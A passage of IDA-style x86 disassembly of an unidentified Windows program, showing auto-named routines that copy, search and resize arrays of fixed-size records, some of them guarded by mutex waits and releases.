esi, ebx call sub_413A09 mov edi, [ebp-1D88h] mov esi, [ebp-7E0h] call sub_4103C3 lea eax, [ebp-8E4h] jmp loc_4134AD ; --------------------------------------------------------------------------- loc_413242: ; CODE XREF: sub_412B5E+690j cmp eax, 9 jnz short loc_4132A5 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-209Ch] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-0AF4h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-1F98h] mov edi, [ebp-9F0h] call sub_4104A3 lea eax, [ebp-0AF4h] loc_413294: ; CODE XREF: sub_412B5E+799j ; sub_412B5E+7EDj ... push eax mov eax, [ebp+8] call sub_4139C6 mov ebx, [ebp+8] jmp loc_4134B5 ; --------------------------------------------------------------------------- loc_4132A5: ; CODE XREF: sub_412B5E+6E7j cmp eax, 0Ah jnz short loc_4132F9 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-22ACh] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-4C4h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-21A8h] mov edi, [ebp-3C0h] call sub_4104D3 lea eax, [ebp-4C4h] jmp short loc_413294 ; --------------------------------------------------------------------------- loc_4132F9: ; CODE XREF: sub_412B5E+74Aj cmp eax, 0Bh jnz short loc_413350 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-24BCh] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-0F14h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-23B8h] mov edi, [ebp-0E10h] call sub_410500 lea eax, [ebp-0F14h] jmp loc_413294 ; --------------------------------------------------------------------------- loc_413350: ; CODE XREF: sub_412B5E+79Ej cmp eax, 0Ch jnz short loc_4133A7 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-26CCh] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1124h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-25C8h] mov edi, [ebp-1020h] call sub_41090D lea eax, [ebp-1124h] jmp loc_413294 ; --------------------------------------------------------------------------- loc_4133A7: ; CODE XREF: sub_412B5E+7F5j cmp eax, 0Dh jnz short loc_4133FE mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-28DCh] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1334h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-27D8h] mov edi, [ebp-1230h] call sub_410932 lea eax, [ebp-1334h] jmp loc_413294 ; --------------------------------------------------------------------------- loc_4133FE: ; CODE XREF: sub_412B5E+84Cj cmp eax, 0Eh jnz short loc_413455 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-2AECh] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1544h] rep movsd mov esi, ebx call sub_413A09 mov ebx, [ebp-29E8h] mov edi, [ebp-1440h] call sub_410957 lea eax, [ebp-1544h] jmp loc_413294 ; --------------------------------------------------------------------------- loc_413455: ; CODE XREF: sub_412B5E+8A3j cmp eax, 1 jnz short loc_4134B5 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-1754h] rep movsd mov esi, ebx call sub_413A09 mov esi, [ebx+8] push 42h sub esi, 108h pop ecx lea edi, [ebp-3BCh] rep movsd mov esi, ebx call sub_413A09 mov ecx, [ebp-2B8h] cmp dword ptr [ecx+4], 0 jnz short loc_413515 mov eax, [ebp-1650h] call sub_41002B lea eax, [ebp-3BCh] loc_4134AD: ; CODE XREF: sub_412B5E+14Aj ; sub_412B5E+1A1j ... push eax mov eax, ebx call sub_4139C6 loc_4134B5: ; CODE XREF: sub_412B5E+BCj ; sub_412B5E+D9j ... mov eax, [ebp-14h] call sub_413A4F test eax, eax jnz loc_412BE3 xor edi, edi loc_4134C7: ; CODE XREF: sub_412B5E+7Fj mov eax, ebx call sub_413A4F test eax, eax jz short loc_413501 mov eax, [ebx+8] mov ecx, [ebp+0Ch] mov esi, 108h sub eax, esi mov eax, [eax+104h] call sub_41002B mov eax, [ebx+8] sub eax, esi mov eax, [eax+104h] cmp [eax+4], edi jz short loc_413501 mov esi, ebx call sub_413A09 loc_413501: ; CODE XREF: sub_412B5E+972j ; sub_412B5E+99Aj mov eax, [ebp+0Ch] loc_413504: ; CODE XREF: sub_412B5E+9D5j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_413515: ; CODE XREF: sub_412B5E+93Cj lea eax, [ebp-3BCh] push eax mov eax, ebx call sub_4139C6 lea eax, [ebp-1754h] push eax mov eax, ebx call sub_4139C6 loc_413531: ; CODE XREF: sub_412B5E+28j xor eax, eax jmp short loc_413504 sub_412B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_413535 proc near ; CODE XREF: sub_41226A+4F7p var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 108h push esi push edi mov edi, [ebp+6Ch+arg_0] cmp edi, 4 jnz loc_4135EC mov esi, [ebp+6Ch+arg_4] call sub_410FAD mov esi, 100h push esi push [ebp+6Ch+arg_4] mov [ebp+6Ch+var_4], eax lea eax, [ebp+6Ch+var_104] push eax mov [ebp+6Ch+var_108], edi call sub_41C5A0 add esp, 0Ch cmp [ebp+6Ch+var_4], 3 jnz short loc_4135B7 push dword ptr [ebx+20h] lea edi, [ebx+24h] mov eax, edi call sub_41124B test eax, eax pop ecx jnz short loc_4135A9 mov eax, [ebx+20h] mov ecx, edi call sub_411204 test eax, eax jz short loc_4135B7 mov eax, [ebx+20h] call sub_4111E9 test eax, eax jnz short loc_4135B7 loc_4135A9: ; CODE XREF: sub_413535+58j mov [ebp+6Ch+var_4], 6 mov [ebp+6Ch+var_104], 15h loc_4135B7: ; CODE XREF: sub_413535+46j ; sub_413535+66j ... lea edi, [ebp+6Ch+var_108] mov eax, ebx call sub_41371A mov eax, edi push eax lea eax, [ebx+10h] call sub_4139C6 push esi lea eax, [ebp+6Ch+var_104] push eax lea eax, [ebx+24h] push eax call sub_41C5A0 mov dword ptr [ebx+20h], 4 jmp loc_41369F ; --------------------------------------------------------------------------- loc_4135EC: ; CODE XREF: sub_413535+13j push 100h push [ebp+6Ch+arg_4] lea eax, [ebp+6Ch+var_104] xor esi, esi push eax mov [ebp+6Ch+var_4], esi mov [ebp+6Ch+var_108], edi call sub_41C5A0 push 18h call sub_41BA91 add esp, 10h cmp eax, esi jz short loc_413626 mov [eax+10h], esi mov [eax+8], esi mov [eax+4], esi mov [eax], esi jmp short loc_413628 ; --------------------------------------------------------------------------- loc_413626: ; CODE XREF: sub_413535+E2j xor eax, eax loc_413628: ; CODE XREF: sub_413535+EFj push [ebp+6Ch+arg_4] mov esi, eax push edi mov [ebp+6Ch+var_4], eax call sub_410068 mov eax, [ebp+6Ch+var_4] mov ecx, [ebp+6Ch+arg_8] mov [eax+4], ecx mov eax, [ebx+124h] mov eax, [eax+158h] mov ecx, [ebp+6Ch+var_4] mov [ecx], eax mov edi, [ebp+6Ch+var_4] cmp dword ptr [edi+8], 3 jnz short loc_41365E call sub_40FFCA loc_41365E: ; CODE XREF: sub_413535+122j mov eax, [ebx+124h] push [ebp+6Ch+var_4] add eax, 2C8h call sub_41377F lea edi, [ebp+6Ch+var_108] mov eax, ebx call sub_41371A mov eax, edi push eax mov eax, ebx call sub_4139C6 push 100h push [ebp+6Ch+arg_4] lea eax, [ebx+24h] push eax call sub_41C5A0 mov eax, [ebp+6Ch+arg_0] mov [ebx+20h], eax loc_41369F: ; CODE XREF: sub_413535+B2j add esp, 0Ch pop edi pop esi add ebp, 6Ch leave retn 0Ch sub_413535 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136AB proc near ; CODE XREF: sub_41226A+107p ; sub_41226A+25Cp ... var_108 = dword ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push esi push edi mov esi, eax mov eax, [ecx+8] cmp eax, 1 push 3 pop edx jnz short loc_4136C7 push 0Dh jmp short loc_4136D6 ; --------------------------------------------------------------------------- loc_4136C7: ; CODE XREF: sub_4136AB+16j cmp eax, 2 jnz short loc_4136D0 push 0Eh jmp short loc_4136D6 ; --------------------------------------------------------------------------- loc_4136D0: ; CODE XREF: sub_4136AB+1Fj cmp eax, edx jnz short loc_4136D7 push 0Fh loc_4136D6: ; CODE XREF: sub_4136AB+1Aj ; sub_4136AB+23j pop edx loc_4136D7: ; CODE XREF: sub_4136AB+27j mov eax, [esi+124h] push ecx add eax, 2C8h mov [ebp+var_108], edx mov [ebp+var_4], ecx call sub_41377F lea edi, [ebp+var_108] mov eax, esi call sub_41371A mov eax, edi push eax mov eax, esi call sub_4139C6 push 41h lea edi, [esi+20h] pop ecx lea esi, [ebp+var_108] rep movsd pop edi pop esi leave retn sub_4136AB endp ; =============== S U B R O U T I N E ======================================= sub_41371A proc near ; CODE XREF: sub_413535+8Ap ; sub_413535+144p ... push esi mov esi, eax mov eax, [esi+20h] test eax, eax jnz short loc_413736 mov eax, [edi] lea ecx, [edi+4] call sub_411204 neg eax sbb eax, eax neg eax pop esi retn ; --------------------------------------------------------------------------- loc_413736: ; CODE XREF: sub_41371A+8j push ebx lea ebx, [esi+24h] push eax mov eax, ebx call sub_41124B test eax, eax pop ecx jnz short loc_41376B mov esi, [esi+20h] mov eax, esi call sub_4111E9 test eax, eax jz short loc_41375E mov eax, [edi] call sub_4111E9 jmp short loc_413776 ; --------------------------------------------------------------------------- loc_41375E: ; CODE XREF: sub_41371A+39j mov ecx, ebx mov eax, esi call sub_411204 test eax, eax jz short loc_41377C loc_41376B: ; CODE XREF: sub_41371A+2Bj push dword ptr [edi] lea eax, [edi+4] call sub_41124B pop ecx loc_413776: ; CODE XREF: sub_41371A+42j test eax, eax jz short loc_41377C xor eax, eax loc_41377C: ; CODE XREF: sub_41371A+4Fj ; sub_41371A+5Ej pop ebx pop esi retn sub_41371A endp ; =============== S U B R O U T I N E ======================================= sub_41377F proc near ; CODE XREF: sub_4109C7+Fp ; sub_411377+C9p ... arg_0 = dword ptr 4 mov edx, [eax+8] mov ecx, [eax+4] push esi jmp short loc_413793 ; --------------------------------------------------------------------------- loc_413788: ; CODE XREF: sub_41377F+16j mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_413797 add ecx, 4 loc_413793: ; CODE XREF: sub_41377F+7j cmp ecx, edx jnz short loc_413788 loc_413797: ; CODE XREF: sub_41377F+Fj cmp ecx, edx jnz short loc_4137A4 lea esi, [esp+4+arg_0] call sub_413F72 loc_4137A4: ; CODE XREF: sub_41377F+1Aj pop esi retn 4 sub_41377F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137A8 proc near ; CODE XREF: sub_4121F3+Ep ; sub_412810+6Bp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, eax xor edi, edi call sub_408AF0 test eax, eax jbe short loc_4137FA push ebx loc_4137BC: ; CODE XREF: sub_4137A8+4Fj mov eax, [esi+4] mov ebx, edi shl ebx, 2 add eax, ebx mov ecx, [eax] mov ecx, [ecx] cmp ecx, [ebp+arg_0] jz short loc_4137D8 cmp [ebp+arg_4], 0 jnz short loc_4137D8 inc edi jmp short loc_4137EE ; --------------------------------------------------------------------------- loc_4137D8: ; CODE XREF: sub_4137A8+25j ; sub_4137A8+2Bj push dword ptr [eax] call sub_41C7B8 mov eax, [esi+4] add eax, ebx pop ecx push eax lea ebx, [ebp+var_4] call sub_408B03 loc_4137EE: ; CODE XREF: sub_4137A8+2Ej mov eax, esi call sub_408AF0 cmp edi, eax jb short loc_4137BC pop ebx loc_4137FA: ; CODE XREF: sub_4137A8+11j pop edi pop esi leave retn 8 sub_4137A8 endp ; =============== S U B R O U T I N E ======================================= sub_413800 proc near ; CODE XREF: sub_40EC1D+Ap ; sub_40EC70+Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 100h push [esp+4+arg_0] lea eax, [esi+8] push eax mov dword ptr [esi], offset off_4307B0 call sub_41C5A0 mov eax, [esp+0Ch+arg_4] and dword ptr [esi+108h], 0 mov [esi+110h], eax add esp, 0Ch mov dword ptr [esi+4], 1 mov eax, esi retn 8 sub_413800 endp ; =============== S U B R O U T I N E ======================================= sub_413838 proc near ; CODE XREF: sub_412A38+B3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 18h call sub_41BA91 pop ecx xor ecx, ecx cmp eax, ecx jz short loc_413853 mov [eax+10h], ecx mov [eax+8], ecx mov [eax+4], ecx mov [eax], ecx jmp short loc_413855 ; --------------------------------------------------------------------------- loc_413853: ; CODE XREF: sub_413838+Cj xor eax, eax loc_413855: ; CODE XREF: sub_413838+19j push esi push [esp+4+arg_0] lea esi, [edi+108h] mov [esi], eax mov eax, [esp+8+arg_4] mov [edi+10Ch], eax mov eax, [edi] mov ecx, edi call dword ptr [eax] mov eax, [esi] pop esi retn 8 sub_413838 endp ; =============== S U B R O U T I N E ======================================= sub_413878 proc near ; CODE XREF: sub_411377+33p ; sub_411377+B2p ... mov eax, offset loc_427C0B call sub_41E550 push esi mov esi, [ebp+8] lea eax, [esi+104h] xor edx, edx mov [eax+4], edx mov [eax+8], edx mov [eax+0Ch], edx mov [eax+10h], ecx lea eax, [esi+118h] push 100h push dword ptr [ebp+0Ch] mov [eax+4], edx mov [eax+8], edx mov [eax+0Ch], edx mov [eax+10h], ecx lea eax, [esi+4] push eax call sub_41C5A0 mov ecx, [ebp-0Ch] add esp, 0Ch mov dword ptr [esi], 1 mov eax, esi pop esi mov large fs:0, ecx leave retn 8 sub_413878 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4138D7 proc near ; CODE XREF: .text:004086E4p ; sub_40C201+3Bp arg_0 = byte ptr 4 push esi push 0FFFFFFFFh push dword ptr [edi+10h] call ds:dword_429128 ; WaitForSingleObject lea esi, [esp+4+arg_0] mov eax, edi call sub_413F72 push dword ptr [edi+10h] call ds:dword_429138 ; ReleaseMutex pop esi retn 4 sub_4138D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138FB proc near ; CODE XREF: sub_41136B+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, eax push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, esi xor ebx, ebx call sub_408AF0 test eax, eax jbe short loc_41394B push edi mov edi, [esi+4] mov [ebp+var_4], edi loc_413922: ; CODE XREF: sub_4138FB+3Fj mov eax, [ebp+var_4] mov eax, [eax] cmp eax, [ebp+arg_0] jz short loc_41393E add [ebp+var_4], 4 mov eax, esi inc ebx call sub_408AF0 cmp ebx, eax jb short loc_413922 jmp short loc_41394A ; --------------------------------------------------------------------------- loc_41393E: ; CODE XREF: sub_4138FB+2Fj lea eax, [edi+ebx*4] push eax lea ebx, [ebp+arg_0] call sub_408B03 loc_41394A: ; CODE XREF: sub_4138FB+41j pop edi loc_41394B: ; CODE XREF: sub_4138FB+1Ej push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex pop esi pop ebx leave retn 4 sub_4138FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41395A proc near ; CODE XREF: sub_40FB2E+Bp var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi mov esi, eax push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, esi xor edi, edi call sub_408AF0 test eax, eax jbe short loc_4139B7 push ebx loc_41397B: ; CODE XREF: sub_41395A+5Aj mov eax, [esi+4] mov ecx, edi shl ecx, 2 add eax, ecx mov edx, [eax] cmp edx, [ebp+arg_0] jz short loc_4139AA mov eax, edx mov eax, [eax+10h] mov dword ptr [eax+100h], 1 mov eax, [esi+4] add eax, ecx push eax lea ebx, [ebp+var_4] call sub_408B03 dec edi loc_4139AA: ; CODE XREF: sub_41395A+30j mov eax, esi inc edi call sub_408AF0 cmp edi, eax jb short loc_41397B pop ebx loc_4139B7: ; CODE XREF: sub_41395A+1Ej push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex pop edi pop esi leave retn 4 sub_41395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139C6 proc near ; CODE XREF: sub_412B5E+3BFp ; sub_412B5E+494p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, eax call sub_413A4F mov esi, eax mov eax, edi call sub_413A37 cmp esi, eax jnb short loc_4139F2 push [ebp+arg_0] push 1 push dword ptr [edi+8] push edi call sub_413AAA mov [edi+8], eax jmp short loc_413A03 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_4139C6+17j mov eax, [edi+8] push ebx push [ebp+arg_0] lea ebx, [ebp+arg_0] push eax call sub_413A67 pop ebx loc_413A03: ; CODE XREF: sub_4139C6+2Aj pop edi pop esi pop ebp retn 4 sub_4139C6 endp ; =============== S U B R O U T I N E ======================================= sub_413A09 proc near ; CODE XREF: sub_412B5E+9Cp ; sub_412B5E+113p ... mov eax, esi call sub_413A4F test eax, eax jz short locret_413A1B add dword ptr [esi+8], 0FFFFFEF8h locret_413A1B: ; CODE XREF: sub_413A09+9j retn sub_413A09 endp ; =============== S U B R O U T I N E ======================================= sub_413A1C proc near ; CODE XREF: sub_4280CC-20DF6p ; sub_4073E0j ... mov eax, [esi+4] test eax, eax jz short loc_413A2A push eax call sub_41C7B8 pop ecx loc_413A2A: ; CODE XREF: sub_413A1C+5j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn sub_413A1C endp ; =============== S U B R O U T I N E ======================================= sub_413A37 proc near ; CODE XREF: sub_4139C6+10p ; sub_413AD1+27p mov ecx, [eax+4] test ecx, ecx jnz short loc_413A41 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413A41: ; CODE XREF: sub_413A37+5j mov eax, [eax+0Ch] sub eax, ecx cdq mov ecx, 108h idiv ecx retn sub_413A37 endp ; =============== S U B R O U T I N E ======================================= sub_413A4F proc near ; CODE XREF: sub_412B5E+78p ; sub_412B5E+95Ap ... mov ecx, [eax+4] test ecx, ecx jnz short loc_413A59 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413A59: ; CODE XREF: sub_413A4F+5j mov eax, [eax+8] sub eax, ecx cdq mov ecx, 108h idiv ecx retn sub_413A4F endp ; =============== S U B R O U T I N E ======================================= sub_413A67 proc near ; CODE XREF: sub_4139C6+37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_413A4F test eax, eax jnz short loc_413A77 xor esi, esi jmp short loc_413A88 ; --------------------------------------------------------------------------- loc_413A77: ; CODE XREF: sub_413A67+Aj mov eax, [esp+4+arg_0] sub eax, [edi+4] mov ecx, 108h cdq idiv ecx mov esi, eax loc_413A88: ; CODE XREF: sub_413A67+Ej mov edx, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_413AD1 imul esi, 108h add esi, [edi+4] mov eax, ebx mov [ebx], esi pop esi retn 8 sub_413A67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AAA proc near ; CODE XREF: sub_4139C6+22p ; sub_413AD1+BEp ... arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_8] mov eax, [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_4] call sub_41407E mov eax, [ebp+arg_8] imul eax, 108h add esp, 0Ch add eax, [ebp+arg_4] pop ebp retn 10h sub_413AAA endp ; =============== S U B R O U T I N E ======================================= sub_413AD1 proc near ; CODE XREF: sub_413A67+2Dp mov eax, offset loc_427BF3 call sub_41E550 sub esp, 10Ch push ebx push esi push edi mov [ebp-10h], esp mov ebx, ecx push 42h pop ecx mov esi, edx lea edi, [ebp-118h] mov eax, ebx rep movsd call sub_413A37 mov esi, [ebp+0Ch] test esi, esi mov edi, eax jz loc_413CAD mov eax, ebx call sub_413A4F mov ecx, 0F83E0Fh sub ecx, eax cmp ecx, esi jnb short loc_413B21 call sub_40C38F loc_413B21: ; CODE XREF: sub_413AD1+49j mov eax, ebx call sub_413A4F add eax, esi cmp edi, eax jnb loc_413BFF mov eax, edi shr eax, 1 mov ecx, 0F83E0Fh sub ecx, eax cmp ecx, edi jnb short loc_413B45 xor edi, edi jmp short loc_413B47 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AD1+6Ej add edi, eax loc_413B47: ; CODE XREF: sub_413AD1+72j mov eax, ebx call sub_413A4F add eax, esi cmp edi, eax jnb short loc_413B5F mov eax, ebx call sub_413A4F mov edi, eax add edi, esi loc_413B5F: ; CODE XREF: sub_413AD1+81j mov eax, edi imul eax, 108h push eax call sub_41BA91 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] mov ecx, [ebx+4] push dword ptr [ebp+8] mov [ebp+0Ch], eax call sub_414258 add esp, 0Ch lea ecx, [ebp-118h] push ecx push esi push eax push ebx call sub_413AAA mov ecx, [ebx+8] push dword ptr [ebp+8] push ecx mov ecx, [ebp+8] call sub_414258 pop ecx pop ecx mov eax, ebx call sub_413A4F add esi, eax mov eax, [ebx+4] test eax, eax jz short loc_413BCC mov ecx, [ebx+8] jmp short loc_413BBF ; --------------------------------------------------------------------------- loc_413BBA: ; CODE XREF: sub_413AD1+F0j add eax, 108h loc_413BBF: ; CODE XREF: sub_413AD1+E7j cmp eax, ecx jnz short loc_413BBA push dword ptr [ebx+4] call sub_41C7B8 pop ecx loc_413BCC: ; CODE XREF: sub_413AD1+E2j mov eax, [ebp+0Ch] imul edi, 108h imul esi, 108h add edi, eax add esi, eax mov [ebx+0Ch], edi mov [ebx+8], esi mov [ebx+4], eax jmp loc_413CAD ; --------------------------------------------------------------------------- loc_413BED: ; DATA XREF: .text:00431864o push dword ptr [ebp+0Ch] call sub_41C7B8 pop ecx loc_413BF6: ; DATA XREF: .text:00431874o push 0 push 0 call sub_41E4BE loc_413BFF: ; CODE XREF: sub_413AD1+5Bj mov ecx, [ebx+8] mov eax, ecx sub eax, [ebp+8] mov edi, 108h cdq idiv edi push dword ptr [ebp+8] mov [ebp+0Ch], ecx push ecx cmp eax, esi jnb short loc_413C75 mov edx, [ebp+8] mov edi, esi imul edi, 108h lea eax, [edi+edx] mov ecx, edx call sub_414258 pop ecx mov dword ptr [ebp-4], 2 mov eax, [ebx+8] sub eax, [ebp+8] pop ecx lea ecx, [ebp-118h] push ecx cdq mov ecx, 108h idiv ecx sub esi, eax push esi push dword ptr [ebx+8] push ebx call sub_413AAA add [ebx+8], edi mov ebx, [ebx+8] lea eax, [ebp-118h] push eax mov eax, [ebp+8] sub ebx, edi push ebx call sub_413F3A pop ecx pop ecx jmp short loc_413CAD ; --------------------------------------------------------------------------- loc_413C75: ; CODE XREF: sub_413AD1+147j imul esi, 108h mov edi, ecx sub edi, esi mov eax, ecx mov ecx, edi call sub_414258 push dword ptr [ebp+0Ch] mov [ebx+8], eax mov ebx, [ebp+8] push ebx mov edx, edi call sub_413F5B lea eax, [ebp-118h] push eax add esi, ebx push esi mov eax, ebx call sub_413F3A add esp, 18h loc_413CAD: ; CODE XREF: sub_413AD1+33j ; sub_413AD1+117j ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_413AD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413CBE proc near ; CODE XREF: sub_411377+52Fp ; sub_411377+55Cp ... arg_0 = dword ptr 4 push edi mov edi, eax mov eax, [esp+4+arg_0] add eax, 8 push eax call sub_413CE3 test eax, eax jnz short loc_413CDF push esi lea esi, [esp+8+arg_0] mov eax, edi call sub_413F72 pop esi loc_413CDF: ; CODE XREF: sub_413CBE+12j pop edi retn 4 sub_413CBE endp ; =============== S U B R O U T I N E ======================================= sub_413CE3 proc near ; CODE XREF: sub_41226A+7Ep ; sub_413CBE+Bp arg_0 = dword ptr 4 push esi mov eax, edi xor esi, esi call sub_408AF0 test eax, eax jbe short loc_413D1E loc_413CF1: ; CODE XREF: sub_413CE3+39j mov eax, [edi+4] lea eax, [eax+esi*4] mov eax, [eax] push 100h push [esp+8+arg_0] add eax, 8 push eax call sub_41D5B0 add esp, 0Ch test eax, eax jz short loc_413D24 mov eax, edi inc esi call sub_408AF0 cmp esi, eax jb short loc_413CF1 loc_413D1E: ; CODE XREF: sub_413CE3+Cj xor eax, eax loc_413D20: ; CODE XREF: sub_413CE3+49j pop esi retn 4 ; --------------------------------------------------------------------------- loc_413D24: ; CODE XREF: sub_413CE3+2Dj mov eax, [edi+4] lea eax, [eax+esi*4] mov eax, [eax] jmp short loc_413D20 sub_413CE3 endp ; =============== S U B R O U T I N E ======================================= sub_413D2E proc near ; CODE XREF: sub_411377+DAp ; sub_411377+120p ... arg_0 = dword ptr 4 push edi mov edi, eax mov eax, [esp+4+arg_0] add eax, 4 push eax call sub_413D53 test eax, eax jnz short loc_413D4F push esi lea esi, [esp+8+arg_0] mov eax, edi call sub_413F72 pop esi loc_413D4F: ; CODE XREF: sub_413D2E+12j pop edi retn 4 sub_413D2E endp ; =============== S U B R O U T I N E ======================================= sub_413D53 proc near ; CODE XREF: sub_41226A+15Ep ; sub_413D2E+Bp arg_0 = dword ptr 4 push esi mov eax, edi xor esi, esi call sub_408AF0 test eax, eax jbe short loc_413D8E loc_413D61: ; CODE XREF: sub_413D53+39j mov eax, [edi+4] lea eax, [eax+esi*4] mov eax, [eax] push 100h push [esp+8+arg_0] add eax, 4 push eax call sub_41D5B0 add esp, 0Ch test eax, eax jz short loc_413D94 mov eax, edi inc esi call sub_408AF0 cmp esi, eax jb short loc_413D61 loc_413D8E: ; CODE XREF: sub_413D53+Cj xor eax, eax loc_413D90: ; CODE XREF: sub_413D53+49j pop esi retn 4 ; --------------------------------------------------------------------------- loc_413D94: ; CODE XREF: sub_413D53+2Dj mov eax, [edi+4] lea eax, [eax+esi*4] mov eax, [eax] jmp short loc_413D90 sub_413D53 endp ; =============== S U B R O U T I N E ======================================= sub_413D9E proc near ; CODE XREF: sub_41226A+20Cp ; sub_41226A+364p mov eax, offset loc_427F66 call sub_41E550 push ecx push ecx push ebx push esi push edi mov edi, ecx mov eax, edi xor ebx, ebx xor esi, esi call sub_408AF0 test eax, eax jbe short loc_413DE0 loc_413DBE: ; CODE XREF: sub_413D9E+40j mov eax, [edi+4] push dword ptr [ebp+8] lea eax, [eax+esi*4] push dword ptr [eax] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_413E3F mov eax, edi inc esi call sub_408AF0 cmp esi, eax jb short loc_413DBE loc_413DE0: ; CODE XREF: sub_413D9E+1Ej push dword ptr [ebp+8] call sub_41C350 inc eax push eax call sub_41BAB5 push dword ptr [ebp+8] mov [ebp-10h], eax push eax call sub_41C930 add esp, 10h lea esi, [ebp-10h] mov eax, edi call sub_413F72 push 10h call sub_41BA91 pop ecx cmp eax, ebx jz short loc_413E1F mov [eax+4], ebx mov [eax+8], ebx mov [eax+0Ch], ebx jmp short loc_413E21 ; --------------------------------------------------------------------------- loc_413E1F: ; CODE XREF: sub_413D9E+74j xor eax, eax loc_413E21: ; CODE XREF: sub_413D9E+7Fj or dword ptr [ebp-4], 0FFFFFFFFh mov [ebp+8], eax lea ebx, [edi+10h] lea esi, [ebp+8] mov eax, ebx call sub_413F72 mov eax, ebx call sub_408AF0 mov esi, eax dec esi loc_413E3F: ; CODE XREF: sub_413D9E+34j mov eax, [edi+14h] push dword ptr [ebp+0Ch] lea eax, [eax+esi*4] mov edi, [eax] call sub_413FA7 mov ecx, [ebp-0Ch] neg eax pop edi sbb eax, eax pop esi neg eax pop ebx mov large fs:0, ecx leave retn 8 sub_413D9E endp ; =============== S U B R O U T I N E ======================================= sub_413E66 proc near ; CODE XREF: sub_41226A+1BAp ; sub_41226A+24Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi xor esi, esi call sub_408AF0 test eax, eax jbe short loc_413E97 loc_413E74: ; CODE XREF: sub_413E66+2Fj mov eax, [edi+4] push [esp+4+arg_0] lea eax, [eax+esi*4] push dword ptr [eax] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_413E9D mov eax, edi inc esi call sub_408AF0 cmp esi, eax jb short loc_413E74 loc_413E97: ; CODE XREF: sub_413E66+Cj xor eax, eax loc_413E99: ; CODE XREF: sub_413E66+4Aj pop esi retn 8 ; --------------------------------------------------------------------------- loc_413E9D: ; CODE XREF: sub_413E66+23j mov eax, [edi+14h] push ebx push [esp+8+arg_4] lea eax, [eax+esi*4] mov ebx, [eax] call sub_413FF3 pop ebx jmp short loc_413E99 sub_413E66 endp ; =============== S U B R O U T I N E ======================================= sub_413EB2 proc near ; CODE XREF: sub_4121F3+1Ep ; sub_4121F3+29p ... push ebx push esi mov esi, [edi+4] jmp short loc_413EC4 ; --------------------------------------------------------------------------- loc_413EB9: ; CODE XREF: 